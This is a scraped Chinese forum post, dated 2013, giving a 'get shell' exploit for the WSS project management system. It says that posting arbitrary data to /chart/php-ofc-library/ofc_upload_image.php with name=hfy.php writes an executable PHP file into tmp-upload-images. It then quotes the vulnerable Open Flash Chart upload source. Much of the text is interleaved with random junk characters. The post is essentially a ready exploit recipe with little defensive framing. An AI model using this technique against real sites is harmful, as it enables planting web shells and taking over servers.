标题: WSS项目管理系统Post get shell [打印本页] 作者: admin 时间: 2013-2-23 12:38 标题: WSS项目管理系统Post get shell POST 数据漏洞文件执行任意后缀文件保存3 Z& x8 R# v9 E1 }$ s- S: ]
漏洞文件/chart/php-ofc-library/ofc_upload_image.php j9 i3 h% Z7 i4 ^% I' e7 {7 |" U }; M/ k
利用: 2 ?) C6 W5 D2 G/ G/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名% A+ G% a! l* u4 V& t7 n
" e8 o' l) q5 K6 V% L* a1 z) |Post任意数据 3 s% u7 V8 T W! }保存位置http://localhost/chart/tmp-upload-images/hfy.php+ F3 R! \! a7 q( _* Y! ` b
[attach]201[/attach] i, D2 Q' m: K d[attach]202[/attach] & T: Y) c2 k2 \1 d+ I% w- I- O最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~ * i+ @0 B+ O$ d% t6 G 8 I0 S4 s: F! k+ j s4 @<?php8 R4 ^2 h o/ w8 L3 t/ V
8 J2 ]; h$ N. V4 {// \* n- p7 [$ R+ N// In Open Flash Chart -> save_image debug mode, you ) n0 ?5 u5 Y8 }, U& I// will see the 'echo' text in a new window.4 s& C6 K, T5 e+ A3 Y# s
//" @. Z$ D9 e5 w: H* S* Y
, q8 ~( m1 l P/ V2 O
/* : U: F5 `% R' V; k & x+ v8 K8 S+ _print_r( $_GET );6 p0 `1 H% D3 M! A8 C
print_r( $_POST );7 z# X" m9 F9 Z. Y
print_r( $_FILES );' o, Y9 a0 p; t8 Y
2 B; S5 T/ O( ]5 n p/ L( cprint_r( $GLOBALS ); 7 C$ f* P( W6 K( `1 r4 _: {print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );1 e( ~- J1 I! Y+ l7 ?4 M5 u
6 R1 @4 V; Z4 m! w
*/ : u( W6 S+ d3 _7 @// default path for the image to be stored //, c2 a0 B3 ^. m7 k
$default_path = '../tmp-upload-images/'; - N7 f! U) x% d # n* Q+ D3 H; c' A) d% n( |* j) _if (!file_exists($default_path)) mkdir($default_path, 0777, true);/ l* v; h; h, [) L; x( z
1 G+ {( M5 b6 O \. H: J: ^// full path to the saved image including filename // ! T3 o6 ^0 y# t) N0 r1 y8 i" i$destination = $default_path . basename( $_GET[ 'name' ] ); & y" l2 R! K+ B. i( _9 c5 K) M" m( ~& o( x* Q
echo 'Saving your image to: '. $destination; 8 M% P! W& C7 W; T' x// print_r( $_POST ); 3 e/ S2 m! ]2 u. N+ c& x// print_r( $_SERVER );8 G) w3 H6 V+ X; m
// echo $HTTP_RAW_POST_DATA;& P+ C6 o* u& ^ b0 P
" C1 a2 | O, b6 o7 P4 _- O// * h2 |6 U+ S' c) X) T: v) i7 v// POST data is usually string data, but we are passing a RAW .png ! j c0 {7 n5 K' J5 ~// so PHP is a bit confused and $_POST is empty. But it has saved/ U3 k4 _6 E N9 @
// the raw bits into $HTTP_RAW_POST_DATA + I5 }- ]+ t( w/ B8 ^6 r8 w) Z//" r7 l; }; m- ~& l; w
4 u9 ?0 W0 z+ C9 k
$jfh = fopen($destination, 'w') or die("can't open file");+ ?8 p# `& d: s Q2 { \
fwrite($jfh, $HTTP_RAW_POST_DATA); & _) w/ E: f* B' O" Ufclose($jfh);- P3 j: K( C" F. d5 @ I! y
* I6 b4 V8 x0 g7 d' u+ A3 A
//5 C2 p7 `. f: ~" M D. L
// LOOK: 0 S+ F8 l; |* W [* S// ) m8 @5 D. G) J+ f" b3 `+ i8 I, Hexit(); 3 u" }/ b M* s& I7 T. n// ' _) }4 J! ~9 K' g% y// PHP5:. C" {; i/ r/ R1 Y. Z
//: w5 }' |; E0 m5 v2 A1 g
& y( ]; s6 E, d k5 S d- t) @/ { / K6 A$ `, Y9 h: b// default path for the image to be stored //0 H% y- H, T" n- s3 @6 f2 Q
$default_path = 'tmp-upload-images/';7 }; s$ J2 c7 R
9 E; q$ H4 |- C Hif (!file_exists($default_path)) mkdir($default_path, 0777, true);( e: q- w N+ g5 S" Y1 N
) G1 @6 b, b! E" [! F
// full path to the saved image including filename // ; W4 F% h( |- M/ b) g5 x. k5 E; c$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ( |! _( t& t4 e 2 `6 e, V) D4 n- j! E+ V: F. c// move the image into the specified directory //) x7 @9 n! \6 g3 d
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) { , d# R6 |( A N+ R% c& w( I$ R echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;"; 5 P! [" z9 F" n7 K; X2 C( @} else {$ p& `4 R4 \8 m/ K' y- i
echo "FILE UPLOAD FAILED";/ i+ x# P2 D# z9 Z4 i/ I; [0 p( c% u; Z
}4 x$ o# r$ S2 h( W( r
) B( X0 G& S/ _; f. h; ?: ?' ?* l
' E3 B! P# d% i; _) A
?> 1 e# H+ g% D+ S1 E8 y6 q6 E! l$ V1 _9 q